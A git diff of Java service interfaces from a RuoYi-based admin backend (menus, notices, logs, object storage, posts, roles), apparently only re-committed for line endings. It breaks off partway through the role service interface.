a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysMenuService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysMenuService.java index 72d705e..9d2868c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysMenuService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysMenuService.java @@ -1,147 +1,147 @@ -package org.dromara.system.service; - -import cn.hutool.core.lang.tree.Tree; -import org.dromara.system.domain.SysMenu; -import org.dromara.system.domain.bo.SysMenuBo; -import org.dromara.system.domain.vo.RouterVo; -import org.dromara.system.domain.vo.SysMenuVo; - -import java.util.List; -import java.util.Set; - -/** - * 菜单 业务层 - * - * @author Lion Li - */ -public interface ISysMenuService { - - /** - * 根据用户查询系统菜单列表 - * - * @param userId 用户ID - * @return 菜单列表 - */ - List selectMenuList(Long userId); - - /** - * 根据用户查询系统菜单列表 - * - * @param menu 菜单信息 - * @param userId 用户ID - * @return 菜单列表 - */ - List selectMenuList(SysMenuBo menu, Long userId); - - /** - * 根据用户ID查询权限 - * - * @param userId 用户ID - * @return 权限列表 - */ - Set selectMenuPermsByUserId(Long userId); - - /** - * 根据角色ID查询权限 - * - * @param roleId 角色ID - * @return 权限列表 - */ - Set selectMenuPermsByRoleId(Long roleId); - - /** - * 根据用户ID查询菜单树信息 - * - * @param userId 用户ID - * @return 菜单列表 - */ - List selectMenuTreeByUserId(Long userId); - - /** - * 根据角色ID查询菜单树信息 - * - * @param roleId 角色ID - * @return 选中菜单列表 - */ - List selectMenuListByRoleId(Long roleId); - - /** - * 根据租户套餐ID查询菜单树信息 - * - * @param packageId 租户套餐ID - * @return 选中菜单列表 - */ - List selectMenuListByPackageId(Long packageId); - - /** - * 构建前端路由所需要的菜单 - * - * @param menus 菜单列表 - * @return 路由列表 - */ - List buildMenus(List menus); - - /** - * 构建前端所需要下拉树结构 - * - * @param menus 菜单列表 - * @return 下拉树结构列表 - */ - List> buildMenuTreeSelect(List menus); - - /** - * 根据菜单ID查询信息 - * - * @param menuId 菜单ID - * @return 菜单信息 - */ - SysMenuVo selectMenuById(Long menuId); - - /** - * 是否存在菜单子节点 - * - * @param menuId 菜单ID - * @return 结果 true 存在 false 不存在 - */ - boolean hasChildByMenuId(Long menuId); - - /** - * 查询菜单是否存在角色 - * - * @param menuId 菜单ID - * @return 结果 true 存在 false 不存在 - */ - boolean checkMenuExistRole(Long menuId); - - /** - * 新增保存菜单信息 - * - * @param bo 菜单信息 - * @return 结果 - */ - int insertMenu(SysMenuBo bo); - - /** - * 修改保存菜单信息 - * - * @param bo 菜单信息 - * @return 结果 - */ - int updateMenu(SysMenuBo bo); - - /** - * 删除菜单管理信息 - * - * @param menuId 菜单ID - * @return 结果 - */ - int deleteMenuById(Long menuId); - - /** - * 校验菜单名称是否唯一 - * - * @param menu 菜单信息 - * @return 结果 - */ - boolean checkMenuNameUnique(SysMenuBo menu); -} +package org.dromara.system.service; + +import cn.hutool.core.lang.tree.Tree; +import org.dromara.system.domain.SysMenu; +import org.dromara.system.domain.bo.SysMenuBo; +import org.dromara.system.domain.vo.RouterVo; +import org.dromara.system.domain.vo.SysMenuVo; + +import java.util.List; +import java.util.Set; + +/** + * 菜单 业务层 + * + * @author Lion Li + */ +public interface ISysMenuService { + + /** + * 根据用户查询系统菜单列表 + * + * @param userId 用户ID + * @return 菜单列表 + */ + List selectMenuList(Long userId); + + /** + * 根据用户查询系统菜单列表 + * + * @param menu 菜单信息 + * @param userId 用户ID + * @return 菜单列表 + */ + List selectMenuList(SysMenuBo menu, Long userId); + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + Set selectMenuPermsByUserId(Long userId); + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + Set selectMenuPermsByRoleId(Long roleId); + + /** + * 根据用户ID查询菜单树信息 + * + * @param userId 用户ID + * @return 菜单列表 + */ + List selectMenuTreeByUserId(Long userId); + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @return 选中菜单列表 + */ + List selectMenuListByRoleId(Long roleId); + + /** + * 根据租户套餐ID查询菜单树信息 + * + * @param packageId 租户套餐ID + * @return 选中菜单列表 + */ + List selectMenuListByPackageId(Long packageId); + + /** + * 构建前端路由所需要的菜单 + * + * @param menus 菜单列表 + * @return 路由列表 + */ + List buildMenus(List menus); + + /** + * 构建前端所需要下拉树结构 + * + * @param menus 菜单列表 + * @return 下拉树结构列表 + */ + List> buildMenuTreeSelect(List menus); + + /** + * 根据菜单ID查询信息 + * + * @param menuId 菜单ID + * @return 菜单信息 + */ + SysMenuVo selectMenuById(Long menuId); + + /** + * 是否存在菜单子节点 + * + * @param menuId 菜单ID + * @return 结果 true 存在 false 不存在 + */ + boolean hasChildByMenuId(Long menuId); + + /** + * 查询菜单是否存在角色 + * + * @param menuId 菜单ID + * @return 结果 true 存在 false 不存在 + */ + boolean checkMenuExistRole(Long menuId); + + /** + * 新增保存菜单信息 + * + * @param bo 菜单信息 + * @return 结果 + */ + int insertMenu(SysMenuBo bo); + + /** + * 修改保存菜单信息 + * + * @param bo 菜单信息 + * @return 结果 + */ + int updateMenu(SysMenuBo bo); + + /** + * 删除菜单管理信息 + * + * @param menuId 菜单ID + * @return 结果 + */ + int deleteMenuById(Long menuId); + + /** + * 校验菜单名称是否唯一 + * + * @param menu 菜单信息 + * @return 结果 + */ + boolean checkMenuNameUnique(SysMenuBo menu); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysNoticeService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysNoticeService.java index 8ec999d..bebca80 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysNoticeService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysNoticeService.java @@ -1,67 +1,67 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysNoticeBo; -import org.dromara.system.domain.vo.SysNoticeVo; - -import java.util.List; - -/** - * 公告 服务层 - * - * @author Lion Li - */ -public interface ISysNoticeService { - - - TableDataInfo selectPageNoticeList(SysNoticeBo notice, PageQuery pageQuery); - - /** - * 查询公告信息 - * - * @param noticeId 公告ID - * @return 公告信息 - */ - SysNoticeVo selectNoticeById(Long noticeId); - - /** - * 查询公告列表 - * - * @param notice 公告信息 - * @return 公告集合 - */ - List selectNoticeList(SysNoticeBo notice); - - /** - * 新增公告 - * - * @param bo 公告信息 - * @return 结果 - */ - int insertNotice(SysNoticeBo bo); - - /** - * 修改公告 - * - * @param bo 公告信息 - * @return 结果 - */ - int updateNotice(SysNoticeBo bo); - - /** - * 删除公告信息 - * - * @param noticeId 公告ID - * @return 结果 - */ - int deleteNoticeById(Long noticeId); - - /** - * 批量删除公告信息 - * - * @param noticeIds 需要删除的公告ID - * @return 结果 - */ - int deleteNoticeByIds(Long[] noticeIds); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysNoticeBo; +import org.dromara.system.domain.vo.SysNoticeVo; + +import java.util.List; + +/** + * 公告 服务层 + * + * @author Lion Li + */ +public interface ISysNoticeService { + + + TableDataInfo selectPageNoticeList(SysNoticeBo notice, PageQuery pageQuery); + + /** + * 查询公告信息 + * + * @param noticeId 公告ID + * @return 公告信息 + */ + SysNoticeVo selectNoticeById(Long noticeId); + + /** + * 查询公告列表 + * + * @param notice 公告信息 + * @return 公告集合 + */ + List selectNoticeList(SysNoticeBo notice); + + /** + * 新增公告 + * + * @param bo 公告信息 + * @return 结果 + */ + int insertNotice(SysNoticeBo bo); + + /** + * 修改公告 + * + * @param bo 公告信息 + * @return 结果 + */ + int updateNotice(SysNoticeBo bo); + + /** + * 删除公告信息 + * + * @param noticeId 公告ID + * @return 结果 + */ + int deleteNoticeById(Long noticeId); + + /** + * 批量删除公告信息 + * + * @param noticeIds 需要删除的公告ID + * @return 结果 + */ + int deleteNoticeByIds(Long[] noticeIds); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOperLogService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOperLogService.java index 9573510..10948f6 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOperLogService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOperLogService.java @@ -1,54 +1,54 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysOperLogBo; -import org.dromara.system.domain.vo.SysOperLogVo; - -import java.util.List; - -/** - * 操作日志 服务层 - * - * @author Lion Li - */ -public interface ISysOperLogService { - - TableDataInfo selectPageOperLogList(SysOperLogBo operLog, PageQuery pageQuery); - - /** - * 新增操作日志 - * - * @param bo 操作日志对象 - */ - void insertOperlog(SysOperLogBo bo); - - /** - * 查询系统操作日志集合 - * - * @param operLog 操作日志对象 - * @return 操作日志集合 - */ - List selectOperLogList(SysOperLogBo operLog); - - /** - * 批量删除系统操作日志 - * - * @param operIds 需要删除的操作日志ID - * @return 结果 - */ - int deleteOperLogByIds(Long[] operIds); - - /** - * 查询操作日志详细 - * - * @param operId 操作ID - * @return 操作日志对象 - */ - SysOperLogVo selectOperLogById(Long operId); - - /** - * 清空操作日志 - */ - void cleanOperLog(); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysOperLogBo; +import org.dromara.system.domain.vo.SysOperLogVo; + +import java.util.List; + +/** + * 操作日志 服务层 + * + * @author Lion Li + */ +public interface ISysOperLogService { + + TableDataInfo selectPageOperLogList(SysOperLogBo operLog, PageQuery pageQuery); + + /** + * 新增操作日志 + * + * @param bo 操作日志对象 + */ + void insertOperlog(SysOperLogBo bo); + + /** + * 查询系统操作日志集合 + * + * @param operLog 操作日志对象 + * @return 操作日志集合 + */ + List selectOperLogList(SysOperLogBo operLog); + + /** + * 批量删除系统操作日志 + * + * @param operIds 需要删除的操作日志ID + * @return 结果 + */ + int deleteOperLogByIds(Long[] operIds); + + /** + * 查询操作日志详细 + * + * @param operId 操作ID + * @return 操作日志对象 + */ + SysOperLogVo selectOperLogById(Long operId); + + /** + * 清空操作日志 + */ + void cleanOperLog(); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOssConfigService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOssConfigService.java index 2f6dfc9..2119344 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOssConfigService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOssConfigService.java @@ -1,64 +1,64 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysOssConfigBo; -import org.dromara.system.domain.vo.SysOssConfigVo; - -import java.util.Collection; - -/** - * 对象存储配置Service接口 - * - * @author Lion Li - * @author 孤舟烟雨 - * @date 2021-08-13 - */ -public interface ISysOssConfigService { - - /** - * 初始化OSS配置 - */ - void init(); - - /** - * 查询单个 - */ - SysOssConfigVo queryById(Long ossConfigId); - - /** - * 查询列表 - */ - TableDataInfo queryPageList(SysOssConfigBo bo, PageQuery pageQuery); - - /** - * 根据新增业务对象插入对象存储配置 - * - * @param bo 对象存储配置新增业务对象 - * @return 结果 - */ - Boolean insertByBo(SysOssConfigBo bo); - - /** - * 根据编辑业务对象修改对象存储配置 - * - * @param bo 对象存储配置编辑业务对象 - * @return 结果 - */ - Boolean updateByBo(SysOssConfigBo bo); - - /** - * 校验并删除数据 - * - * @param ids 主键集合 - * @param isValid 是否校验,true-删除前校验,false-不校验 - * @return 结果 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 启用停用状态 - */ - int updateOssConfigStatus(SysOssConfigBo bo); - -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysOssConfigBo; +import org.dromara.system.domain.vo.SysOssConfigVo; + +import java.util.Collection; + +/** + * 对象存储配置Service接口 + * + * @author Lion Li + * @author 孤舟烟雨 + * @date 2021-08-13 + */ +public interface ISysOssConfigService { + + /** + * 初始化OSS配置 + */ + void init(); + + /** + * 查询单个 + */ + SysOssConfigVo queryById(Long ossConfigId); + + /** + * 查询列表 + */ + TableDataInfo queryPageList(SysOssConfigBo bo, PageQuery pageQuery); + + /** + * 根据新增业务对象插入对象存储配置 + * + * @param bo 对象存储配置新增业务对象 + * @return 结果 + */ + Boolean insertByBo(SysOssConfigBo bo); + + /** + * 根据编辑业务对象修改对象存储配置 + * + * @param bo 对象存储配置编辑业务对象 + * @return 结果 + */ + Boolean updateByBo(SysOssConfigBo bo); + + /** + * 校验并删除数据 + * + * @param ids 主键集合 + * @param isValid 是否校验,true-删除前校验,false-不校验 + * @return 结果 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 启用停用状态 + */ + int updateOssConfigStatus(SysOssConfigBo bo); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOssService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOssService.java index cd4fab4..e0302eb 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOssService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysOssService.java @@ -1,80 +1,80 @@ -package org.dromara.system.service; - -import jakarta.servlet.http.HttpServletResponse; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysOssBo; -import org.dromara.system.domain.vo.SysOssVo; -import org.springframework.web.multipart.MultipartFile; - -import java.io.File; -import java.io.IOException; -import java.util.Collection; -import java.util.List; - -/** - * 文件上传 服务层 - * - * @author Lion Li - */ -public interface ISysOssService { - - /** - * 查询OSS对象存储列表 - * - * @param sysOss OSS对象存储分页查询对象 - * @param pageQuery 分页查询实体类 - * @return 结果 - */ - TableDataInfo queryPageList(SysOssBo sysOss, PageQuery pageQuery); - - /** - * 根据一组 ossIds 获取对应的 SysOssVo 列表 - * - * @param ossIds 一组文件在数据库中的唯一标识集合 - * @return 包含 SysOssVo 对象的列表 - */ - List listByIds(Collection ossIds); - - /** - * 根据 ossId 从缓存或数据库中获取 SysOssVo 对象 - * - * @param ossId 文件在数据库中的唯一标识 - * @return SysOssVo 对象,包含文件信息 - */ - SysOssVo getById(Long ossId); - - /** - * 上传 MultipartFile 到对象存储服务,并保存文件信息到数据库 - * - * @param file 要上传的 MultipartFile 对象 - * @return 上传成功后的 SysOssVo 对象,包含文件信息 - */ - SysOssVo upload(MultipartFile file); - - /** - * 上传文件到对象存储服务,并保存文件信息到数据库 - * - * @param file 要上传的文件对象 - * @return 上传成功后的 SysOssVo 对象,包含文件信息 - */ - SysOssVo upload(File file); - - /** - * 文件下载方法,支持一次性下载完整文件 - * - * @param ossId OSS对象ID - * @param response HttpServletResponse对象,用于设置响应头和向客户端发送文件内容 - */ - void download(Long ossId, HttpServletResponse response) throws IOException; - - /** - * 删除OSS对象存储 - * - * @param ids OSS对象ID串 - * @param isValid 判断是否需要校验 - * @return 结果 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - -} +package org.dromara.system.service; + +import jakarta.servlet.http.HttpServletResponse; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysOssBo; +import org.dromara.system.domain.vo.SysOssVo; +import org.springframework.web.multipart.MultipartFile; + +import java.io.File; +import java.io.IOException; +import java.util.Collection; +import java.util.List; + +/** + * 文件上传 服务层 + * + * @author Lion Li + */ +public interface ISysOssService { + + /** + * 查询OSS对象存储列表 + * + * @param sysOss OSS对象存储分页查询对象 + * @param pageQuery 分页查询实体类 + * @return 结果 + */ + TableDataInfo queryPageList(SysOssBo sysOss, PageQuery pageQuery); + + /** + * 根据一组 ossIds 获取对应的 SysOssVo 列表 + * + * @param ossIds 一组文件在数据库中的唯一标识集合 + * @return 包含 SysOssVo 对象的列表 + */ + List listByIds(Collection ossIds); + + /** + * 根据 ossId 从缓存或数据库中获取 SysOssVo 对象 + * + * @param ossId 文件在数据库中的唯一标识 + * @return SysOssVo 对象,包含文件信息 + */ + SysOssVo getById(Long ossId); + + /** + * 上传 MultipartFile 到对象存储服务,并保存文件信息到数据库 + * + * @param file 要上传的 MultipartFile 对象 + * @return 上传成功后的 SysOssVo 对象,包含文件信息 + */ + SysOssVo upload(MultipartFile file); + + /** + * 上传文件到对象存储服务,并保存文件信息到数据库 + * + * @param file 要上传的文件对象 + * @return 上传成功后的 SysOssVo 对象,包含文件信息 + */ + SysOssVo upload(File file); + + /** + * 文件下载方法,支持一次性下载完整文件 + * + * @param ossId OSS对象ID + * @param response HttpServletResponse对象,用于设置响应头和向客户端发送文件内容 + */ + void download(Long ossId, HttpServletResponse response) throws IOException; + + /** + * 删除OSS对象存储 + * + * @param ids OSS对象ID串 + * @param isValid 判断是否需要校验 + * @return 结果 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPermissionService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPermissionService.java index 0116df5..bbb7545 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPermissionService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPermissionService.java @@ -1,28 +1,28 @@ -package org.dromara.system.service; - -import java.util.Set; - -/** - * 用户权限处理 - * - * @author Lion Li - */ -public interface ISysPermissionService { - - /** - * 获取角色数据权限 - * - * @param userId 用户id - * @return 角色权限信息 - */ - Set getRolePermission(Long userId); - - /** - * 获取菜单数据权限 - * - * @param userId 用户id - * @return 菜单权限信息 - */ - Set getMenuPermission(Long userId); - -} +package org.dromara.system.service; + +import java.util.Set; + +/** + * 用户权限处理 + * + * @author Lion Li + */ +public interface ISysPermissionService { + + /** + * 获取角色数据权限 + * + * @param userId 用户id + * @return 角色权限信息 + */ + Set getRolePermission(Long userId); + + /** + * 获取菜单数据权限 + * + * @param userId 用户id + * @return 菜单权限信息 + */ + Set getMenuPermission(Long userId); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPictureService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPictureService.java index 139a95c..100795d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPictureService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPictureService.java @@ -1,76 +1,76 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysPictureBo; -import org.dromara.system.domain.vo.SysPictureVo; - -import java.util.Collection; -import java.util.List; - -/** - * 画册Service接口 - * - * @author Maosw - * @date 2025-02-26 - */ -public interface ISysPictureService { - - /** - * 查询画册 - * - * @param id 主键 - * @return 画册 - */ - SysPictureVo queryById(Long id); - - /** - * 分页查询画册列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 画册分页列表 - */ - TableDataInfo queryPageList(SysPictureBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的画册列表 - * - * @param bo 查询条件 - * @return 画册列表 - */ - List queryList(SysPictureBo bo); - - /** - * 新增画册 - * - * @param bo 画册 - * @return 是否新增成功 - */ - Boolean insertByBo(SysPictureBo bo); - - /** - * 修改画册 - * - * @param bo 画册 - * @return 是否修改成功 - */ - Boolean updateByBo(SysPictureBo bo); - - /** - * 校验并批量删除画册信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 分页查询画册列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - */ - TableDataInfo selectPageList(SysPictureBo bo, PageQuery pageQuery); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysPictureBo; +import org.dromara.system.domain.vo.SysPictureVo; + +import java.util.Collection; +import java.util.List; + +/** + * 画册Service接口 + * + * @author Maosw + * @date 2025-02-26 + */ +public interface ISysPictureService { + + /** + * 查询画册 + * + * @param id 主键 + * @return 画册 + */ + SysPictureVo queryById(Long id); + + /** + * 分页查询画册列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 画册分页列表 + */ + TableDataInfo queryPageList(SysPictureBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的画册列表 + * + * @param bo 查询条件 + * @return 画册列表 + */ + List queryList(SysPictureBo bo); + + /** + * 新增画册 + * + * @param bo 画册 + * @return 是否新增成功 + */ + Boolean insertByBo(SysPictureBo bo); + + /** + * 修改画册 + * + * @param bo 画册 + * @return 是否修改成功 + */ + Boolean updateByBo(SysPictureBo bo); + + /** + * 校验并批量删除画册信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 分页查询画册列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + */ + TableDataInfo selectPageList(SysPictureBo bo, PageQuery pageQuery); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPostService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPostService.java index 3751b23..e1b3fd8 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPostService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysPostService.java @@ -1,122 +1,122 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysPostBo; -import org.dromara.system.domain.vo.SysPostVo; - -import java.util.List; - -/** - * 岗位信息 服务层 - * - * @author Lion Li - */ -public interface ISysPostService { - - - TableDataInfo selectPagePostList(SysPostBo post, PageQuery pageQuery); - - /** - * 查询岗位信息集合 - * - * @param post 岗位信息 - * @return 岗位列表 - */ - List selectPostList(SysPostBo post); - - /** - * 查询所有岗位 - * - * @return 岗位列表 - */ - List selectPostAll(); - - /** - * 通过岗位ID查询岗位信息 - * - * @param postId 岗位ID - * @return 角色对象信息 - */ - SysPostVo selectPostById(Long postId); - - /** - * 根据用户ID获取岗位选择框列表 - * - * @param userId 用户ID - * @return 选中岗位ID列表 - */ - List selectPostListByUserId(Long userId); - - /** - * 通过岗位ID串查询岗位 - * - * @param postIds 岗位id串 - * @return 岗位列表信息 - */ - List selectPostByIds(List postIds); - - /** - * 校验岗位名称 - * - * @param post 岗位信息 - * @return 结果 - */ - boolean checkPostNameUnique(SysPostBo post); - - /** - * 校验岗位编码 - * - * @param post 岗位信息 - * @return 结果 - */ - boolean checkPostCodeUnique(SysPostBo post); - - /** - * 通过岗位ID查询岗位使用数量 - * - * @param postId 岗位ID - * @return 结果 - */ - long countUserPostById(Long postId); - - /** - * 通过部门ID查询岗位使用数量 - * - * @param deptId 部门id - * @return 结果 - */ - long countPostByDeptId(Long deptId); - - /** - * 删除岗位信息 - * - * @param postId 岗位ID - * @return 结果 - */ - int deletePostById(Long postId); - - /** - * 批量删除岗位信息 - * - * @param postIds 需要删除的岗位ID - * @return 结果 - */ - int deletePostByIds(Long[] postIds); - - /** - * 新增保存岗位信息 - * - * @param bo 岗位信息 - * @return 结果 - */ - int insertPost(SysPostBo bo); - - /** - * 修改保存岗位信息 - * - * @param bo 岗位信息 - * @return 结果 - */ - int updatePost(SysPostBo bo); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysPostBo; +import org.dromara.system.domain.vo.SysPostVo; + +import java.util.List; + +/** + * 岗位信息 服务层 + * + * @author Lion Li + */ +public interface ISysPostService { + + + TableDataInfo selectPagePostList(SysPostBo post, PageQuery pageQuery); + + /** + * 查询岗位信息集合 + * + * @param post 岗位信息 + * @return 岗位列表 + */ + List selectPostList(SysPostBo post); + + /** + * 查询所有岗位 + * + * @return 岗位列表 + */ + List selectPostAll(); + + /** + * 通过岗位ID查询岗位信息 + * + * @param postId 岗位ID + * @return 角色对象信息 + */ + SysPostVo selectPostById(Long postId); + + /** + * 根据用户ID获取岗位选择框列表 + * + * @param userId 用户ID + * @return 选中岗位ID列表 + */ + List selectPostListByUserId(Long userId); + + /** + * 通过岗位ID串查询岗位 + * + * @param postIds 岗位id串 + * @return 岗位列表信息 + */ + List selectPostByIds(List postIds); + + /** + * 校验岗位名称 + * + * @param post 岗位信息 + * @return 结果 + */ + boolean checkPostNameUnique(SysPostBo post); + + /** + * 校验岗位编码 + * + * @param post 岗位信息 + * @return 结果 + */ + boolean checkPostCodeUnique(SysPostBo post); + + /** + * 通过岗位ID查询岗位使用数量 + * + * @param postId 岗位ID + * @return 结果 + */ + long countUserPostById(Long postId); + + /** + * 通过部门ID查询岗位使用数量 + * + * @param deptId 部门id + * @return 结果 + */ + long countPostByDeptId(Long deptId); + + /** + * 删除岗位信息 + * + * @param postId 岗位ID + * @return 结果 + */ + int deletePostById(Long postId); + + /** + * 批量删除岗位信息 + * + * @param postIds 需要删除的岗位ID + * @return 结果 + */ + int deletePostByIds(Long[] postIds); + + /** + * 新增保存岗位信息 + * + * @param bo 岗位信息 + * @return 结果 + */ + int insertPost(SysPostBo bo); + + /** + * 修改保存岗位信息 + * + * @param bo 岗位信息 + * @return 结果 + */ + int updatePost(SysPostBo bo); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysRoleService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysRoleService.java index 97f27af..0f26e9d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysRoleService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysRoleService.java @@ -1,203 +1,203 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.SysUserRole; -import org.dromara.system.domain.bo.SysRoleBo; -import org.dromara.system.domain.vo.SysRoleVo; - -import java.util.List; -import java.util.Set; - -/** - * 角色业务层 - * - * @author Lion Li - */ -public interface ISysRoleService { - - - TableDataInfo selectPageRoleList(SysRoleBo role, PageQuery pageQuery); - - /** - * 根据条件分页查询角色数据 - * - * @param role 角色信息 - * @return 角色数据集合信息 - */ - List selectRoleList(SysRoleBo role); - - /** - * 根据用户ID查询角色列表 - * - * @param userId 用户ID - * @return 角色列表 - */ - List selectRolesByUserId(Long userId); - - /** - * 根据用户ID查询角色列表(包含被授权状态) - * - * @param userId 用户ID - * @return 角色列表 - */ - List selectRolesAuthByUserId(Long userId); - - /** - * 根据用户ID查询角色权限 - * - * @param userId 用户ID - * @return 权限列表 - */ - Set selectRolePermissionByUserId(Long userId); - - /** - * 查询所有角色 - * - * @return 角色列表 - */ - List selectRoleAll(); - - /** - * 根据用户ID获取角色选择框列表 - * - * @param userId 用户ID - * @return 选中角色ID列表 - */ - List selectRoleListByUserId(Long userId); - - /** - * 通过角色ID查询角色 - * - * @param roleId 角色ID - * @return 角色对象信息 - */ - SysRoleVo selectRoleById(Long roleId); - - /** - * 通过角色ID串查询角色 - * - * @param roleIds 角色ID串 - * @return 角色列表信息 - */ - List selectRoleByIds(List roleIds); - - /** - * 校验角色名称是否唯一 - * - * @param role 角色信息 - * @return 结果 - */ - boolean checkRoleNameUnique(SysRoleBo role); - - /** - * 校验角色权限是否唯一 - * - * @param role 角色信息 - * @return 结果 - */ - boolean checkRoleKeyUnique(SysRoleBo role); - - /** - * 校验角色是否允许操作 - * - * @param role 角色信息 - */ - void checkRoleAllowed(SysRoleBo role); - - /** - * 校验角色是否有数据权限 - * - * @param roleId 角色id - */ - void checkRoleDataScope(Long roleId); - - /** - * 通过角色ID查询角色使用数量 - * - * @param roleId 角色ID - * @return 结果 - */ - long countUserRoleByRoleId(Long roleId); - - /** - * 新增保存角色信息 - * - * @param bo 角色信息 - * @return 结果 - */ - int insertRole(SysRoleBo bo); - - /** - * 修改保存角色信息 - * - * @param bo 角色信息 - * @return 结果 - */ - int updateRole(SysRoleBo bo); - - /** - * 修改角色状态 - * - * @param roleId 角色ID - * @param status 角色状态 - * @return 结果 - */ - int updateRoleStatus(Long roleId, String status); - - /** - * 修改数据权限信息 - * - * @param bo 角色信息 - * @return 结果 - */ - int authDataScope(SysRoleBo bo); - - /** - * 通过角色ID删除角色 - * - * @param roleId 角色ID - * @return 结果 - */ - int deleteRoleById(Long roleId); - - /** - * 批量删除角色信息 - * - * @param roleIds 需要删除的角色ID - * @return 结果 - */ - int 